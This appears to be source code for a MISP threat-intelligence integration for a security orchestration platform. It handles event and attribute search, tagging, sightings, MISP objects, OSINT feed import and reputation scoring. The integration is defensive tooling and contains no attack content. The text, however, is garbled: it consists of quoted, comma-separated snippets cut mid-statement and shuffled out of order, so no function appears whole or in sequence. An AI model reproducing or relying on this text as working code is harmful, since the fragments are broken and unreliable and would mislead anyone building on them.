event_to_human_readable(response:", "] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj", "raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag", "demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in", "on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name':", "As tag list can be full of in unnecessary data,", "attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute',", "score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set()", "if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP address: {value}", "of the found tag ids. Some tags have a field", "is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params,", "the original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?'", "build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words:", "= tableToMarkdown(f'Results found in MISP for value: {value}', attribute_highlights, removeNull=True)", "delimiter for operators. using the operators is optional. if 'demisto_query'", "= len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results],", "suspicious). * don't have any tags configured as suspicious nor", "hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\":", "IP address, email address, domain, url or file hash). dbot_type", "return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command ==", "ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return", "written to the context Returns: CommandResults includes all the indicator", "MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to',", "tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return", "any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if", "'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1,", "re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value} is not", "'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp':", "CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict,", "the tags are event's ones. Otherwise, the data is attribute's", "GenericObjectGenerator: \"\"\" Args: template_name: template name as described in https://github.com/MISP/misp-objects", "reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results", "= { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3,", "is_event_level (bool): Whether the attribute_dict was received from an event", "GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str:", "= Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in MISP\") indicator", "a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for", "= { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj", "to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id", "https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator:", "event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable =", "removing those fields as they are shared by the events", "Whether the attribute_dict was received from an event object, meaning", "ids (each one is str), and verify all the tags", "'event' controller. \"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1),", "dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True,", "is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit):", "None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if", "1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1':", "Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings':", "of another command (create event for example) Args: event_id (int):", "the same tag appears in both Malicious tag ids and", "(attribute tags and event tags). Args: value (str): The indicator", "data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID')", "elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message)", "suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets a list ot tag ids (each", "inherited. When it is set to 1 it says that", "suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable')", "events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',", "please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains", "'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed',", ") def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list", "tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't", "# field doesn't exist when this is an attribute level,", "None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new", "given id: {event_id} was not found in MISP. please check", "found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type,", "malicious or suspicious. If no tag was found, then the", "be full of in unnecessary data, we want to limit", "bool, proxies: dict): \"\"\"Gets an OSINT feed from url and", "= PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully", "demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from']", "elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args))", "DemistoException(f\"Error: The given domain: {value} is not valid\") if dbot_type", "\"\"\"Gets an OSINT feed from url and publishing them to", "for every attribute we remove the \"Related Attribute\" list and", "the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name':", "only related to an attribute we would like to add", "limit < 0: raise DemistoException(\"limit should be zero or a", "if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item:", "'OR:' and 'NOT:' using ',' as delimiter for parameters and", "attributes which match the required indicator value, this function parses", "required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values:", "'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id',", "= demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips =", "'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL',", "args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] =", "parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability,", "len(response_for_context) md = tableToMarkdown(f\"MISP search-attributes returned {number_of_results} attributes\", response_for_context[:number_of_results], [\"Value\"])", "'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count':", "] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info',", "= PREDEFINED_FEEDS[url].get('url') # type: ignore return url def add_events_from_feed(demisto_args: dict,", "event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp'))", "< 0: raise DemistoException('Attribute limit has to be a positive", "= { 'High': 1, 'Medium': 2, 'Low': 3, 'Unknown': 4", "attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" )", "= ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS =", "raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events", "\"\"\" scored_events = [] if found_tag: for attribute in all_attributes:", "return_error(error) def warn(*args): \"\"\" Do nothing with warnings \"\"\" pass", "to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response", "every attribute we remove the \"Related Attribute\" list and limits", "event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict):", "appears in both Malicious tag ids and Suspicious tag ids", "} for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'):", "url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type:", "attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\")", "def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name:", "'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response", "{key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]}", "= tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True)", "If so, the event will be added to related_events list", "'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked',", "+ 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\"", "malicious_description=\"No results were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot,", "'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint',", "def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in", "'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id',", "prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit',", "for a response in test_data/reputation_command_response.json Please see an example for", "attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution')", "command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif", "'id': demisto_args.get('event_id'), # misp event id 'type': demisto_args.get('type', 'other'), 'category':", "DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please provide a valid value", "1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent()", "found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return", "'uuid': 'UUID', 'sharing_group_id': 'SharingGroupID', 'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value',", "dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The", "[{k: v} for k, v in args.items()] def build_generic_object(template_name: str,", "CommandResults(readable_output=f\"No events found in MISP for the given filters: {args}\")", "an attribute's tag. If the data is event's (is_event_level =", "command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except", "# misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External", "False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\",", "were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return", "found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag", "2 (i.e suspicious). * don't have any tags configured as", "score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response =", "event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids':", "'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command ==", "'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return related_events def get_event_id(data_dict): if data_dict.get('EventID'):", "it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp", "= Unknown. note: - In case the same tag appears", "\"\"\" attribute_id = demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type']", "recognised as suspicious reliability (DBotScoreReliability): integration reliability score. attributes_limit (int)", "the context data outputs, for every attribute we remove the", "elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args))", "break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to", "if found_tag is one of it's tags. If so, the", "url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else", "tags which configured as suspicious will be scored 2 (i.e", "'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format:", "dict): \"\"\"Gets an OSINT feed from url and publishing them", "Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag", "{event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args:", "response (dict): The parsed outputs to context data (array of", "add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict", "in events_to_human_readable: # removing those fields as they are shared", "'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES))", "return_error('Unable to connect to MISP, ' 'Please make sure the", "List[Dict[str, any]]: filtered response \"\"\" return [{ 'code': err[0], 'message':", "'{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type", "limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids", "return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids", "datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict):", "'Event ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute", "given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has to", "event command, the attrubite will be added to that existing", "the indicator will be scored as malicious. - Attributes tags", "is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return", "f'None of required arguments presents. command {demisto.command()} requires one of", "value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable =", "to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, )", "demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\")", "Please see an example for a response in test_data/reputation_command_response.json Please", "found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name':", "as they are shared by the events found_tag_id = event.pop('Tag_ID')", "is_event_level): \"\"\" As tag list can be full of in", "attribute's (is_event_level = false), and the tag is only related", "about all the events that include the indicator Please see", "been successfully removed from the attribute {uuid}' return CommandResults( readable_output=human_readable,", "SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 }", "searches for the given attribute value in MISP and then", "zero or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights =", "returned from MISP to the context output format. \"\"\" response_object", "those fields as they are shared by the events found_tag_id", "are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict, requests.Response], include_correlations=False) ->", "url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}]", "key in the integration configuration.') MISP_URL = params.get('url') VERIFY =", "the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response", "dbot_score, value): if dbot_type == \"FILE\": hash_type = get_hash_type(value) if", "suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type): if dbot_type", "event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] =", "an id that exists in both sets, it will be", "get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return", "response of event search returned from MISP to the context", "both sets, it will be removed from the suspicious tag", "tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag)", "tags and search if found_tag is one of it's tags.", "= arg_to_number(demisto_args.get('limit', 50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args)", "to MISP urls with feeds for example: https://www.misp-project.org/feeds/ feed format", "are event's ones. Otherwise, the data is attribute's (attribute tags).", "'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID')", "score found_tag: the tag (id) which made the indicator to", "description: https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain", "attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] =", "the integration configuration.') MISP_URL = params.get('url') VERIFY = not params.get('insecure')", "add_domain_object(demisto_args: dict): \"\"\"Adds a domain object to MISP domain-ip description:", "Returns: response (dict): The parsed outputs to context data (array", "PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id,", "misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'):", "raise DemistoException(f'Event ID: {event_id} has not found in MISP: \\nError", "PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error: An event", "attribute_dict was received from an event object, meaning the tags", "build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends on the called", "successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',", "ones as it is part of the event scope). If", "sure the API key and the URL are correct\" in", "in MISP. please check it once again\") new_event = response[0]", "value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))", "too big. User can use the command search-attributes in order", "PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp']", "tag_set_ids. In any other case, we won't add the tag.", "1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in", "in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless list", "= demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials',", "'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id',", "type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except", "MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import", "attribute.get('Tag')] if attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for", "copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list", "attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute,", "= { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE", "= f\"## MISP create event\\nNew event with ID: {event_id} has", "headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for", "please check it once again\") new_event = response[0] # response[0]", "= warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not", "found tag ids. Some tags have a field called inherited.", "text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building", "is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator", "error section Returns: List[Dict[str, any]]: filtered response \"\"\" return [{", "= Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found in", "ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS", "operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key]", "error: return_error('Unable to connect to MISP, ' 'Please make sure", "'to', 'event_id', 'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page',", "Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids for", "valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This", "pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings", "and publishing them to MISP urls with feeds for example:", "event, depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] =", "have the tag (i.e found_tag) which caused the indicator to", "return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events,", "demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event:", "context output format. \"\"\" response_object = copy.deepcopy(response) if include_correlations: #", "ids and Suspicious tag ids lists the indicator will be", "error: list of responses from error section Returns: List[Dict[str, any]]:", "list, str]) -> Union[dict, list, str]: \"\"\" Replacing keys from", "'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) ->", "'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL':", "{new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def", "ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object',", "= attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"##", "else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP", "'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu", "{}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response =", "'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen',", "number\") if limit and limit < 0: raise DemistoException(\"limit should", "UUID of event or attribute. is_attribute (bool): if the given", "'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ]", "IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID':", "\"\"\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python", "MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95,", "belongs to an attribute (True) or event (False). \"\"\" uuid", "range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return", "f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args:", "the score will be BAD if the threat level id", "= demisto_args.get('id') attribute_uuid = demisto_args.get('uuid') sighting_type = demisto_args['type'] # mandatory", "'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else: raise DemistoException('MISP has not", "(int) : Limits the number of attributes that will be", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args,", "] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url)", "key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i])", "attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution':", "not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict,", "event search returned from MISP to the context output format.", "for value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values()))", "is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return", "re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value} is", "list. found_tag (str): The tag that was scored as malicious", "url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url", "int(tag) if tag <= 0: raise DemistoException(f\"Tag id has to", "'0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = {", "return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event':", "return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute`", "elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed':", "arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers,", "ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return", "= misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events", "event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response,", "arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))", "= demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args:", "shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name')", "event's details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg", "event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj", "to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes =", "response \"\"\" return [{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors')", "args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] =", "events_to_human_readable: # removing those fields as they are shared by", "in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else", "scored 2 (i.e suspicious). * don't have any tags configured", 